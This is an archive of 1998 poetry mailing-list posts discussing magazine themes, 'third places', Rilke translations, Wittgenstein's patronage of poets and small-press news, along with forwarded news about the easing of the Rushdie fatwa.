Sent: Tuesday, September 22, 1998 11:15 PM
To: [redacted]
Subject: Re: Remap ing the horizon with theme

sorry for the name/sake mix-up.

To share with the list also:

here's the thematic reason--rather than just create a collection of poems in a magazine format--Carolyn Kemp and I decided that a thematic base allows a certain dialogue to resonate between poems. Especially in small publications like ours--we wanted to avoid a "collection of stuff we like"--which we felt some magazines do do. THe theme then (as in #6--politics--) is an engagement with the notion of themes. Think of architecture--one needs a site rather than a building or house. The site then enters into a dialogue with the building rather than the building being just "placed" on the site. (Thinking of Neutra or Schindler's idea --the Louis Sullivan buildings or Wrights "organic machine" that a house must be...) . Anyway--and also-- years later someone mightpull down a ReMap or other magazine and see what--say--politics or food or nature editions we did and (hopefully) see a dialogue there between the work, the magazine, and the reader.

the poems then don't have to be "about" the theme, but rather--about--as in--he's about the house.

At least that's ReMap's idea.

What do you (all) think?

Todd Baron
ReMap

↑ Index

539. **Eliza McGrand**
Re: SF Reading / Travis Ortiz and Sarah Rosenthal
Thu 24 Sep 1998

---

hey travis

what CITY is your reading in!?

e
ps
remember, this is an INTERNATIONAL list! maybe you better give the country too...

↑ Index

540. **Eliza McGrand**
Re: the general plight
Thu 24 Sep 1998

---

there is a book called _the third place_, i forget who by, that addresses big aspect of this beautifully. the notion it propounds is this: that in general, people need a sort of "third space," a space not home, or work, but completely social. a few requirements for it to work -- has to have component of "regulars," and offer, via that "regulars" aspect a sort of instant camaraderie/mileau within which individual has self-created definition; 2) needs to be free play without social and class boundaries, such that big landowner jokes and talks and trades banter as equal with, for instance, grocer.

author identifies attempts by american architects, in the gaudy Superhoses whoops! Superhouses, which dot decadently upscale housing developments (of a sort which i'm SURE WE are all not intimately acquainted!) now intended as eeyries for overly paid yuppies. you know the type, with pools and tennis courts and a gazillion rooms. these houses attempt to place the third space in the home, but are doomed to failure because the place ment of them in family setting cuts off larger community. author mentions as successful examples the general store, in front of which people hang out in small towns in late 1800's to mid 1900's. or sidewalk cafes in italy and europe. also, beer gardens of midwest, as long as they are a sort of family venue, rather than uproarious places for college students to vigorously and unpleasantly recycle intoxicants ("you don't own beer, you only rent it for a while...").

book has been ringing true to me ever since i read it. now, if only _I_ could find a third space in boston area...

e

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541. Christopher Reiner
Avec Sampler Two
Thu 24 Sep 1998

Cydney Chadwick of Avec Books has asked me to post this. I haven't seen the book yet, but it sounds great...

Just out from Avec Books:

An AVEC SAMPLER TWO. _AN AVEC SAMPLER_ is not AVEC magazine. It is not a "best of" AVEC magazine. It isn't a magazine at all. It is a book, a sampling of contemporary writing, with substantial sections from each contributor (an average of ten pages per author). _An Avec Sampler Two_ features the English language premiere of Michael Palmer's _The Danish Notebook_,published in Danish earlier this year--along with new writing by Ann Lauterbach, Gad Hollander, Pierre Alferi (trns. from the French by Cole Swensen), Nick Piombino, Charles Borkhuis, Oulipo writer Michelle Grangaud (trns.from the French by Guy Bennett), Andrew Joron, Joe Ross, Julie Kalendek, Elizabeth Treadwell, Mary Angeline, Lisa Lubasch and Camille Guthrie. Cover by noted photographer Ben E. Watkins.

This publication of multiple authors appears from Avec Books at various intervals.

List Price: $12.95; ISBN:1-880713-15-2; pub. date: Sept. 21, 1998. 165 pages. Paper. Available thru SPD, Baker & Taylor, and Avec Books: P.O. Box 1059, Penngrove, CA 94951.

note to Sampler contributors who are on the Poetics List: your copies are being sent out this week.

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542. Tom Beard
Re: the third space
Thu 24 Sep 1998

Eliza,

This is an idea that has long intrigued me. Wherever I've lived, I've tended to adopt a cafe as my 'local', but it usually takes either a few years of being a regular, or an extraordinarily friendly atmosphere, before I get to know the staff/proprietors/other regulars. I've tended to prefer cafes as a writing venue (we did that thread a while ago) over my own bedroom or living room: even if I'm on my own in the cafe, there's a sense of being-in-the-world that inevitably shapes my writing.

As far as idenitfying a good contemporary example of this space goes, I'm similarly ambivalent about Superhouses (or the kind of "urban village" approach that might be similar). I've just moved into something like this (maybe I am an "overly paid yuppie", though I sure don't own as much Alessi kitchenware as our neighbours!), a converted shoe factory in Wellington's CBD that is within a block of several other apartment blocks by the same developer. There are no tennis courts or pools as far as I can see, but many of them aspire to some sort of common area. One has had the building's roof partly removed to create an open-air "street" on the second floor, one has a private courtyard on the roof, but ours has two kinds of open area, one more private than the other. There's a large atrium from the first to the fourth floors, open only to residents, but beneath this the factory's been opened up into an archway that now connects two previously dead-end side streets. Among my neighbours (very few of whom I know well, but I've only been here a couple of months), there's a range of reactions to this openness. It does make the place feel less isolated, but they tend to be less enamored of the drunks and skateboarders.

There was an article recently in an architecture/design mag called Urbis, discussing these attempts at urban communities, and it pointed out many of your reservations. Attempts to get a community feeling together were thwarted by (a) the fact that the (mostly wealthy) inhabitants of these places often have second homes outside of the city, and are never here at weekends, and (b) the tendency of people to have their own third spaces, often in cafes, whose regulars are not determined by neighborhood, but by old networks of friendship/families/colleagues/ex-flatmates.

I'm more optimistic about our place, because it's close to several other apartment complexes, the whole meta-complex having several hundred residents, and there are still a few of the traditional inner-city dwellers (students and artists living in warehouses) nearby, making the place a bit more than a ghetto for accountants and architects. There's no real tradition of inner-city living in New Zealand, but maybe we will see some sort of post-modern agora taking shape here.

Cheers,

Tom Beard.

(P.S. I wonder how this might relate to Benjamin's idea of the Arcade: not-quite-private, not-quite-public?)

↑ Index

543. **shemurph**
Re: Mag List #62
Thu 24 Sep 1998

A FORMAL AND AN INFORMAL THANK YOU (sorry for shouting) to Spencer for creating and maintaining this terrific list.

It's very helpful and comprehensive.

Sheila Murphy

↑ Index

544. **Leonard Brink**
Instress Winter 98/99 Chapbooks
Thu 24 Sep 1998

Instress announces its Winter 98/99 chapbooks:

EMBLEMS by Martha Ronk

NEXT SONG by Maxine Chernoff

The chapbooks plus _Inscape #4_ will be available for $10, postage paid, from:

Instress
P.O. Box 3124
Saratoga, CA
95070

Checks should be made payable to Leonard Brink.

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545. **Mark Weiss**
Re: the general plight
Thu 24 Sep 1998

That third space used to be the street itself--porch- or stoop-lined, so that the boundaries between the familial and communal domains was blurred. In San Diego a lot of the houses have porches, but no one sits on them, and the kids don't play on the street (not even the sidewalk). In my old Irish-Italian-Puerto Rican neighborhood in Brooklyn the stoops became block-long front-row seats for the adults to observe the children and the passers-by and to commerce in gossip and negotiate difference. It could take a half hour to get from the corner

to my door with a quart of milk. And the children were known to everyone, and knew it, from birth thru adolescence.

At 12:13 AM 9/24/98 -0400, you wrote:
>there is a book called _the third place_, i forget who by, that addresses
>big aspect of this beautifully. the notion it propounds is this: that in
>general, people need a sort of "third space," a space not home, or work,
>but completely social. a few requirements for it to work -- has to have
>component of "regulars," and offer, via that "regulars" aspect a sort of
>instant camaraderie/mileau within which individual has self-created
>definition; 2) needs to be free play without social and class boundaries,
>such that big landowner jokes and talks and trades banter as equal with,
>for instance, grocer.
>
>author identifies attempts by american architects, in the gaudy Superhoses
>whoops! Superhouses, which dot decadently upscale housing developments
(of
>a sort which i'm SURE WE are all not intimately acquainted!) now intended
>as eeyries for overly paid yuppies. you know the type, with pools and
>tennis courts and a gazillion rooms. these houses attempt to place
>the third space in the home, but are doomed to failure because the place
>ment of them in family setting cuts off larger community. author mentions
>as successful examples the general store, in front of which people hang
>out in small towns in late 1800's to mid 1900's. or sidewalk cafes in
>italy and europe. also, beer gardens of midwest, as long as they are a
>sort of family venue, rather than uproarious places for college students
>to vigorously and unpleasantly recycle intoxicants ("you don't own beer,
>you only rent it for a while...").
>
>book has been ringing true to me ever since i read it. now, if only _I_
>could find a third space in boston area...
>
>e
>
>

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546. George Bowering
Re: Rilke en Neuva York?
Thu 24 Sep 1998

> *INBOUND, 9/23/98 (for D.B.)*
>
> *Shit, I'm fucking late again*

What time were you supposed to fuck?

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

547. Lawrence Upton.
Re: Rilke... Re Vatican
Thu 24 Sep 1998

That's David Young, published by Norton

He SAYS it's WCW's line, which just shows the glorious range of human perception; and, at least in my edition, there's no German text in parallel

-----Original Message-----
From: louis stroffolino <[redacted]>
Date: 23 September 1998 20:13
Subject: Re: Rilke

| I wonder if those who don't
| like stepehn mitchells' (or are actively disturbed
| by them)
| translations of rilke
| prefer that guy whose name
| i forget
| who put the duino elegies in that wcw 3 step
| toodle-loo shuffle mode
| allegedly more beloved of
| proper avant-gardistes

"Vatican theologians have finished the draft of
a major document in
which the Catholic Church will officially ask forgiveness for its past

errors, possibly including the
Inquisition and its treatment of Poets. "

ok, let's forgive them; but to make sure it sticks with God, maybe we should burn them alive as well - for their souls

L

↑ Index

548. **Gary Sullivan**
Re: Rilke en NUEva York.
Thu 24 Sep 1998

Haw haw. Good to see poets on this list advocating for "one word, one meaning." Sure, it's a radical concept, but ultimately very practical: life is confusing enough as it is. Anyway, gawd, I see I fucking misspelled "Nueva." Duh. N-u-e-v-a.

Hey, George-mon, why no "Rilke in Canada" from you, eh? Is that cuz summer is replaced immediately by winter?

Curious, but not George,

Gary

On Thursday, September 24, 1998 4:34 AM, George Bowering [SMTP:[redacted]] wrote:
> >INBOUND, 9/23/98 (for D.B.)
> >
> >Shit, I'm fucking late again
>
> What time were you supposed to fuck?
>
>
>
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]

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549. **MAYHEW**
WCW's line
Thu 24 Sep 1998

The three step line
is not an "avant-garde" technique
but an attempt to regularize
"free verse"
make it almost
routine so that
it might be used for longer
more discursive poems
such as "Of Asphodel, that greeny flower
I come, my sweet,
to sing to you."
which I have read with pleasure
repeatedly
over the past twenty years
or more

Of course, I am not getting the right cadence here. Wittgenstein said that understanding a musical phrase is analogous to understanding a sentence, "more than one might think." I love these flashes of intuition, as when he speaks of someone buying several copies of the morning paper to make sure that what is printed there is true. Wittgenstein loved Rilke's poetry and even lent him money once, I believe.

Jonathan Mayhew

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550. **George Thompson**
Re: mitchell
Thu 24 Sep 1998

Maybe my perspective on "Stephen Mitchell" is different from everybody else's.

A long list of translations from such widely divergent languages as Koine Greek, Biblical Hebrew, classical Chinese, Japanese, Persian, and even my own favorite, Sanskrit, has been attributed to this "Stephen Mitchell" [and perhaps there are translations from other exotic languages which I have not seen; I wouldn't be surprised].

Now I won't question Stephen Mitchell's competence in German [BTW, I read Rilke in this language] and other modern European languages. But I know he doesn't know Sanskrit, and I have major doubts about the others. That's why I

prefer to attribute these translations to a machine "Stephen Mitchell" [maybe there's a factory somewhere, I don't know].

So what is this machine designed to do? It has generated a corpus of spiritual classics for the New Age. Rilke is part of a canon that includes the Gospels, Genesis, the Book of Job, the I Ching, Zen tales, Rumi, Sanskrit proverbs on how to accumulate wealth, etc. etc. etc. I think that this whole "Stephen Mitchell" translation project has levelled these products of very different cultures into one palatable, highly fashionable, soup.

Sanskritists for several generations have been wrestling with a problem which thoughtful translators of all sorts will recognize as familiar. We have been trying to figure out how best to translate the Vedas. One school argues that we should try to make them intelligible to modern minds by adopting what is called 'sympathetic translation' techniques. The result is the domestication of the Vedas.

What interests me about the Vedas is that they are among the strangest things I have ever read. One does have to make them strange. They are strange already. When I translate them I try to keep them that way, horse sacrifices, bestiality, soma hallucinations and all.

Now the "Stephen Mitchell" project, as far as I can tell, wants to cull from such books as the Vedas pearls of wisdom that will comfort us in our moments of spiritual uncertainty, or maybe certainty [I don't know].

You can use the Vedas, the I Ching, the Gospels, etc., any way you want. As my sons say, it is a free country. But I use these texts as a window into the minds that produced them. I don't want to be consoled or uplifted by them.

GT

↑ Index

551. **Mark Prejsnar**
Wittgenstein's true importance
Thu 24 Sep 1998

> *make sure that what is printed there is true. Wittgenstein loved Rilke's poetry and even lent him money once, I believe.*
>
> *Jonathan Mayhew*

Not exactly...As i recall it, Witt. had an income (not extravagent) from some inherited capital. He also had very little interest in most aspects of material consumption and lifestyle, that would require this money. So he made what amounted more to grants, to help poets get by. I can't remember the details re

Rilke (tho you are right he certainly at least considered t helping him) but i know he made a grant of this kind to Trakl.

Witt's belief that financially supporting poets is a top priority, is needless to say the single most important thing about him. Well-off individuals in our time and place should be reminded of his example, and urged to emulate it.

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552. **david bromige**
the third space
Thu 24 Sep 1998

Eliza : you mean CHEERS isn't really in Boston? David

↑ Index

553. **MAYHEW**
Re: Wittgenstein's true importance
Thu 24 Sep 1998

On Thu, 24 Sep 1998, Mark Prejsnar wrote:

It goes without saying... I couldn't agree more:

Einstein's true importance is his little-known essay on Holderlin, perhaps, or that he once sent some money to Paul Celan. Bertrand Russel's greatest achievement was memorizing _Paradise Lost_

We should judge philosophers by their support of poetry, poets by their taste in jazz, jazz musicians by knowledge of classical music, classical composers by their taste in clothes, fashion designers by their interest in film, directors by the knowledge of physics, physicists by their knoweldge of philosophy...

> *Witt's belief that financially supporting poets is a top priority, is needless to say the single most important thing about him. Well-off individuals in our time and place should be reminded of his example, and urged to emulate it.*

Jonathan

↑ Index

554. **Maria Damon**
self-etc
Thu 24 Sep 1998

---

hi all, just to do the self-promotion thing: my essay "Avantgarde or Border-guard: (Latino) Identity in Poetry" just came out in American Literary History

Fall 1998. Glad to be able to put in a plug for vernacular/alternative poetry in that venue. thanks again to all the metallurgy responses. my architect student is very excited about everything yo've been suggesting.

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555. **Pierre Joris**

Re: not the last word on Rilke. . .

Thu 24 Sep 1998

Very much agree with db's take. When Jerry Rothenberg & I were putting together the first volume of MILLENNIUM we looked at most if not all extant translations of Rilke. As far as the elegies are concerned, the Leishman/Spender still sounded the best, so we decided to use their translation of the First Duino Elegy. As we were interested in new translations whenever possible or necessary we asked Robert Kelly to translate the Eighth Duino Elegy ‹ & that turned out to be a lovely working. I redid a few of the shorter poems (_Death_ & _Tombs of the Heterae_) not because we couldn't have used some other ones, but because I couldn't resist the pleasure of it! For some odder Rilke ‹ a strange text not published until the 70s because the estate didn't want to release it ‹ see my translation of _Testament_ in SULFUR # 30 (spring '92). As far as Stephen Mitchell is concerned, George Thompson's recent post hits the nail on the head. Any translation that makes an original (George mentions the Vedas) more "approachable," "understanbdable" i.e., an easier read, than the original, is off the mark. This point I have argued in various places when writing on Celan translations.

Pierre

==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Mal tu par l'encre même
-- Stéphane Mallarmé
==========

>From: david bromige <[redacted]>
>To: [redacted]

>Subject: not the last word on Rilke. . .
>Date: Wed, Sep 23, 1998, 8:59 PM
>

> *My vote goes for the Leishman-Spender of the Duinos. The chief flaw is that they are a bit breathy, or breathless, too exclamatory, a tad adolescent. Leishman, or Spender? I suspect the latter, though I don't know the whole story of the enterprise--has it been written down anywhere? Rilke's tone is quieter and graver, with none of the hysteria in the L-S. But otherwise, tonally, cadence-wise, and word for word, phrase for phrase, they accomplished an impressive task. I hadn't realized it is now o-p and in short supply. Too bad.*
> *David*

↑ Index

556. **Sylvester Pollet**
Re: self-etc
Thu 24 Sep 1998

congrats, Maria. But I/we forgot the best one of all for 20th C. poetics, Pound's Canto LIII, the characters hsin/jih/jih/hsin, "Tching prayed on the mountain and/ wrote MAKE IT NEW/ on his bath tub." (53/265) best, Sylvester

At 9:53 AM -0600 9/24/98, Maria Damon wrote:
>hi all, just to do the self-promotion thing: my essay "Avantgarde or
>Borderguard: (Latino) Identity in Poetry" just came out in American
>Literary History Fall 1998. Glad to be able to put in a plug for
>vernacular/alternative poetry in that venue. thanks again to all the
>metallurgy responses. my architect student is very excited about
>everything yo've been suggesting.

↑ Index

557. **Jacques Debrot**
Re: Wittgenstein's true importance
Thu 24 Sep 1998

The fund Wittgenstein established for "needy artists" just before the outbreak of WW1 was equivalent to something like $100,000. 00 in today's currency. It was disbursed to visual artists (e.g. Kokoshka), philosophers, etc. as well as poets -- the 3 largest beneficiaries however were Rilke, Trakl, and Carl Dallago. W didn't select the beneficiaries himself, & as his biographer Ray Monk tells it, disliked Rilke's later work, & had never heard of Trakl before the disbursment was made -- when W did read him he said that, although he couldn't understand Trakl's poetry at all, he liked its "tone." Although W was himself somewhat cool to avant-garde work -- if not hostile -- it's curious, but not surprising, that he

should be the favorite philosopher of the av-g. Marjorie Perloff discusses this brilliantly in _W's Ladder_ -- an extraordinary book.

On a completely different note, it's always struck me as truly strange that W & Hitler were contemporaries at the same Realschule in Linz -- they were exactly the same age, although W was 2 grades behind H at the school -- In _Mein Kampf_ -- if I remember the story correctly -- H. says that there was a wealthy Jewish student at the school -- he doesn't give a name -- to whom all his hatred of the Jews can be traced -- I've heard it speculated that W. was that student.

↑ Index

558. **David Baratier**

Re: rilke

Thu 24 Sep 1998

VILAMOURA, Portugal (Reuters) - The Academy of American Poets issued what it said was a virtual ultimatum Thursday to Yugoslav President Slobodan Milosevic to stop the violence in Kosovo or face poetic retribution. So far, only Germany has went on record agreeing with the poets stance by agreeing a formal deadline should be set, their defense ministers agreed Milosevic must quickly obey the Poets' order to halt the crackdown on ethnic Albanians in the Serbian province or take the consequences. U.S. Defense Secretary William Cohen told journalists that "I am happy to see that poets still have a miniscule amount of revolutionary power."

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559. **louis stroffolino**

Re: WCW's line

Thu 24 Sep 1998

I was not
knocking it
I was not
putting it down
WCW
was alright
but the duino elegies
in such
a mode
are thick and ordinary

On Thu, 24 Sep 1998, MAYHEW wrote:

> *The three step line*
> *is not an "avant-garde" technique*
> *but an attempt to regularize*
> *"free verse"*
> *make it almost*
> *routine so that*
> *it might be used for longer*
> *more discursive poems*
> *such as "Of Asphodel, that greeny flower*
> *I come, my sweet,*
> *to sing to you."*
> *which I have read with pleasure*
> *repeatedly*
> *over the past twenty years*
> *or more*
>
> *Of course, I am not getting the right cadence here. Wittgenstein said that understanding a musical phrase is analogous to understanding a sentence, "more than one might think." I love these flashes of intuition, as when he speaks of someone buying several copies of the morning paper to make sure that what is printed there is true. Wittgenstein loved Rilke's poetry and even lent him money once, I believe.*
>
> *Jonathan Mayhew*

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560. louis stroffolino
St. Mark's Rain Taxi
Thu 24 Sep 1998

Hey, just picked up the new St. Mark's PP Newsletter (#171) and notice the editorial change (Coultas and Sikelianos) and its colorado/nature slant (john wright on community gardens and collom...) Notice also that poetry is being published in it again, and notice that it is now no longer strictly publishing "SWEETHEART REVIEWS" and is perhaps going to allow for the kind of controversy and dialogue it hasn't seen since the jordan davis regime. Well, we'll see---though I disagree with the angle of the particular negative review included in it I applaud the editors for their willingness to raise such issues....

Also of note in St Mark's newsletter: two reviews that mention the first line of Ashbery's THREE POEMS (one on Ashbery by someone I've never heard of--Daniel Kane) and another one on Heather Ramsdell by Mark Wallace. Kane also shows that Ashbery is responding to Padgett in one of his poems (an interesting review that may challenge the dichotomy Debrot proposed last month), and reviews of Notley's new book as well as Charles North's book of

essays--which I am hoping to get when my adjunct checks start rolling in like little toothpick boats

Also, an ad for chapbooks from some Talisman subsidiary called JENSEN/DANIELS. It almost sounds like it should have some slogan like "Books for the discriminating palate" beneath it, but it doesn't. (and a review of Edwin Torres' CD by Josie McKee)

RAIN TAXI--is also great, kicking off with some controversial letters to the editor (Marilyn Lynds pointing out that Ashbery's "The Dong With The Luminous Nose" is NOT an erection but based on a poem by a man named lear.... And William Heyen defending his book against a reviewer Also includes a great interview by Brian Evenson with John Yau, a non-octupus shaped cartoon by my roommate (ah nepotism!)-- ANOTHER review of ramsdell, and NOTLEY---- a great piece on Frank Stanford's unpublished epic (which CD Wright doesn't seem to like) "The Battlefield Where The Moon Says I Love You" By Brett Ralph, and other pieces on Stanford, Other highlights: A review on Bernstein's CLOSE LISTENING that does a fairly good job of summing up much of the book (though it ignores Perelman's contribution), and finally a review of a biography of the late great BILLY TIPTON!!!!!!!!! Do people here know about Billy Tipton???????? I always wondered how she fooled her wives into believing she was a male, and here the mystery is solved (but still hard to believe)..... Well, a lot more I skipped of course. But it's nice to see an eclectic range of writers here, and sure beats reading nothing but the newspapers on the subway..... c

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561. Aldon Nielsen
mag list 62
Thu 24 Sep 1998

---

do not send anything to the address Spencer listed for lower limit speech -- nobody is home -- as Spencer knows, the only reason I have moved so many times in the last five years is so that his list will perpetually have at least one erroneous listing, like the ghost entries in commercial bibliographies --

if you have ever mailed anything to lower limit speech and gotten no reply, you probably sent it to one of those addresses I had already left --

lower limit is, as am I, now at Loyola Marymount University in Los Angeles --

a new issue will appear soon -- if you are a subscriber, you will get it, and the new address -- subscriptions may not be purchased for any amount of money --

↑ Index

562. Rachel Loden
Mitchell, Rilke etc.
Thu 24 Sep 1998

Thanks to George Thompson and Pierre Joris for glimpses under the hood of the Mitchell threshing-machine and to Ron Silliman for signing up on the "actively disturbed" (quoth Chris Stroffolino) side of things. Am voting for the Bill Gates (via Tom Beard) version of "Herbsttag"--I mean, "den shrewd weenie"! Who can compete with that?

I do tend to wax apoplectic on this subject as the unfortunate recipient of any number of Mitchell texts given as gifts by well-meaning friends and family members with the shining hope that they are thereby giving me "poetry." And this is the real shame, that these Velveeta versions (or maybe Stepford texts) are substituted for the real strange thing and are out there contributing to the general anemia.

So I remain vastly puzzled as to how Mitchell's versions can be "less easy-affirmation, more self-doubting, etc."

Here's a line chosen at random from Job, first King James and then Mitchell:

Gird up now thy loins like a man; for I will demand of thee, and answer thou me.

Stand up now like a man;
I will question you: please, instruct me.

Feh! Is this what was called "the smoothing out of the crunchier parts"? How do we not mind this?

Earnestly desiring instruction,

Rachel Loden

↑ Index

563. joel lewis
f.y.i.
Thu 24 Sep 1998

Jesus said appearing nightly at Canadian doughnut shop

BRAS D'OR, Nova Scotia (Reuters) - Jesus may be trying to send a message to night owls on their midnight doughnut binges. Or perhaps He just craves a cup of coffee.

Either way, hundreds of people are flocking to the Tim Horton's doughnut shop in the small Cape Breton Island town of Bras D'Or on Canada's Atlantic coast to see a Christ-like image

that has inexplicably appeared on an outside wall.

The apparition first showed up Monday and was said to be clearly visible to staff at a restaurant across the road under the shop's floodlights.

``They removed the light yesterday ... but now apparently you can see it towards the side of the building, as if the image has moved,'' said a waitress at the nearby Lick-a-Chick restaurant.

``People are coming from far and wide to see it.''

The waitress, who did not want to be identified, said there is little to see in the daylight -- the image is clearest at night -- but there were traffic jams around the doughnut shop Thursday morning as the curious and credulous flocked to the site.

``Apparently, it's really, really busy up there already today. I guess the traffic is crazy and there's cars parked all around,'' said Diane Slopek, a spokeswoman for the Tim Horton's chain, which is owned by Wendy's International Inc .

``We're just puzzled by the whole situation.''

^REUTERS@

↑ Index

564. david bromige

Dongs and Noses

Thu 24 Sep 1998

> *(Marilyn Lynds pointing out that Ashbery's "The Dong With The Luminous Nose" is NOT an erection but based on a poem by a man named lear..*

However, in his _Under the Volcano_ , Malcolm Lowry has "The Nose With the Luminous Dong".

db3. .

↑ Index

565. Mark Weiss

Re: f.y.i.

Thu 24 Sep 1998

Lick-a-Chick? That waitress must be Mary Magdalene.
Where's Kenneth Starr when you need him?
Who says that Canadians speak the same language as their neighbors to the south?

At 10:51 PM 9/24/98 -0400, you wrote:
>Jesus said appearing nightly at Canadian doughnut shop
>
>
> BRAS D'OR, Nova Scotia (Reuters) - Jesus may be trying to
>send a message to night owls on their midnight doughnut binges.
>Or perhaps He just craves a cup of coffee.
> Either way, hundreds of people are flocking to the Tim
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>chain, which is owned by Wendy's International Inc .
> ``We're just puzzled by the whole situation.''
>
> ^REUTERS@>
>

↑ Index

566. **Joanne Molina**
Trakl translations
Fri 25 Sep 1998

Just a short request for information regarding Trakl translations.

Who and where can I find decent translations of Trakl? I am studying Heidegger and Trakl next semester and multiple suggestions would be helpful.

Thanks!

Joanne Molina

↑ Index

567. George Bowering
Re: the third space
Fri 25 Sep 1998

> *Eliza : you mean CHEERS isn't really in Boston? David*

Well, since the red Sox clinched the wild card berth today, there are cheers in Fenway.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

568. Gabriel Gudding
Re: St. Mark's Rain Taxi
Fri 25 Sep 1998

On Thu, 24 Sep 1998, louis stroffolino wrote:

> *Hey, just picked up the new St. Mark's PP Newsletter (#171)*
> *and notice the editorial change (Coultas and Sikelianos) and*
> *its colorado/nature slant*

Coultas' three poems in Syc Rev 10.2 -- "Hayhedge," "Hayroll," & "Third Farming Poem" -- have a goon's panache. Nutso eclogues.

gg

↑ Index

569. Jack Spandrift
Re: Mitchell, Rilke etc.
Fri 25 Sep 1998

On Thu, 24 Sep 1998 18:49:00 -0700 Rachel Loden said:
>

> *Gird up now thy loins like a man; for I will demand of thee, and answer thou me.*

Here's the Duke Spandrift version:

Giddyup them lions, likker-man; y'know damn well if you don't, I will - so lay down yer hand, greenhorn - it's my call!

I know this ain't a literal version, but I think it pretty much reciprocitates the atmosphere of the Biblical Old West, huh?

- Jack Spandrift

p.s. I vote for the Rilke version by that Eric Blarnes fella - damn good, prof! Cept the line - "Goad the late grapes" - how bout SPUR the late grapes?

↑ Index

570. **Pierre Joris**
Rushdie
Fri 25 Sep 1998

> THIS MESSAGE IS IN MIME FORMAT. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--MS_Mac_OE_2989558972_3564831_MIME_Part

A ray of hope for Salman Rushdie, though it doesn't mean he's out of danger -- this from today's TIMES:

By BARBARA CROSSETTE

UNITED NATIONS -- On Thursday, the Iranian foreign minister publicly divorced his government from the death threat imposed on British author Salman Rushdie in 1989 by Ayatollah Ruhollah Khomeini, and Britain responded by restoring full diplomatic relations. "The government of the Islamic Republic of Iran has no intention, nor is it going to take any action whatsoever to threaten the life of the author of 'The Satanic Verses' or anybody associated with his work, nor will it encourage or assist anybody to do so," the Iranian foreign minister, Kamal Kharrazi, said in a statement that he read to reporters Thursday. Kharrazi's remarks followed comments made in New York on Tuesday by Iran's president, Mohammad Khatami, who told reporters that the Rushdie affair was "completely finished." Standing next to Kharrazi, British Foreign Secretary Robin Cook said he was "delighted" to hear Iran's position clarified and to know that the reward offered to anyone willing to kill Rushdie had been officially renounced. Although an Iranian foundation continues to offer a $2.5 million bounty for the death of the year-old Indian-born British author, whose novel

Kharrazi said still offended Iranians, the foreign minister said his government "dissociates itself from any reward that has been offered in this regard and does not support it." A somewhat stunned Rushdie, interviewed by telephone in London, said Thursday night, "It's over." "Until I went into the meeting with the British government, I wasn't sure," he said. "But they have told me emphatically that this is it. It's a breakthrough, and it's over. It's done. There is no longer any threat from the Iranian regime. The fatwa will be left to wither on the vine." In addition to meeting with officials from the British Foreign Office, Rushdie spoke by telephone with Cook twice Thursday, and said he was convinced by the government's assurances. "I am given unequivocal and emphatic and definite information from the British government that it's true," he said. Rushdie, who over the years often seemed on the verge of being released from his death sentence, only to have the Iranian government reiterate its commitment to the fatwa, or religious edict, said he wasn't sure how to handle the thought of freedom, and had not yet begun making arrangements, for instance, to travel in public without a team of Special Branch agents guarding him. It was not clear what his new security, if any, might entail. "When you're so used to getting hard news -- and by that I mean bad news -- then news like this is almost unbelievable," he said. "It's like being told the cancer is gone. Well, the cancer's gone." He added, "This has been an enduring and collective effort, and I want to thank all those people who helped, many of whom are in the United States, including the government of the United States." Rushdie's book, which was first banned in India, in the fall of 1988, and prompted riots in Pakistan in early 1989 just before coming under Khomeini's edict, shocked Muslims in many countries, who deemed it blasphemous. The book, written in Rushdie's most surreal style, includes a dream sequence with prostitutes impersonating the wives of Mohammed to improve their business. It also refers to Mohammed as Mahound, a demon in Christian morality plays. Rushdie, who was born a Muslim, was seen as a traitor to his faith. After Khomeini called for Rushdie's death, the author was forced to seek haven in a series of safe houses in London and was guarded around the clock.

In recent years, Rushdie was able to travel abroad from time to time, but always under tight security. He has made several visits to New York, to promote books he has written since "The Satanic Verses" and to appear on television interviews and in small public gatherings. Rushdie, the co-editor most recently of an anthology of South Asian writing titled "Mirrorworks," has never been able to return to his birthplace, Bombay, India, however, and has not ventured into Islamic countries, where emotions still run high. At an impromptu news conference Thursday after meeting Kharrazi, Cook said, "Her Majesty's government recognized the fundamental role of Islam in Iranian life and understood and regretted the offense the book 'The Satanic Verses' has caused to Muslims in Iran

and elsewhere in the world." Cook said the understanding reached Thursday with Kharrazi would improve ties with the European Union as well as Britain. The British, who had been represented in Tehran by a charge d'affaires, said Thursday that they would raise the level of representation to ambassador. "These assurances should make possible a much more constructive relationship between the United Kingdom and I believe the European Union, with Iran, and the opening of a new chapter in our relations," Cook said. Secretary of State Madeleine Albright, who received something of a rebuff from the Iranians this week, was less enthusiastic. The United States has not had diplomatic relations with Iran since the seizure of the U.S. Embassy and the taking of American hostages in 1979 during the revolution that brought Khomeini to power. Khomeini died in June 1989, a few months after the edict was issued. "The question is, how will it be implemented," Albright said of Iran's pledge to distance itself from the bounty.

==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Mal tu par l'encre même
-- Stéphane Mallarmé
==========

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<HTML>
<HEAD>
<TITLE>Rushdie</TITLE>
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<BODY BGCOLOR="#FFFFFF">
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"The government of the Islamic Republic of Iran has no intention, nor is it going to take any action whatsoever to threaten the life of the author of 'The Satanic Verses' or anybody associated with his work, nor will it encourage or assist anybody to do so," the Iranian foreign minister, Kamal Kharrazi, said in a statement that he read to reporters Thursday.
Kharrazi's remarks followed comments made in New York on Tuesday by Iran's president, Mohammad Khatami, who told reporters that the Rushdie affair was "completely finished."
Standing next to Kharrazi, British Foreign Secretary Robin Cook said he was "delighted" to hear Iran's position clarified and to know that the reward offered to anyone willing to kill Rushdie had been officially renounced.
Although an Iranian foundation continues to offer a $2.5 million bounty for the death of the year-old Indian-born British author, whose novel Kharrazi said still offended Iranians, the foreign minister said his government "dissociates itself from any reward that has been offered in this regard and does not support it."
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==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Mal tu par l'encre même
      -- Stéphane Mallarmé
==========

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571. Pierre Joris
Cixous/Derrida
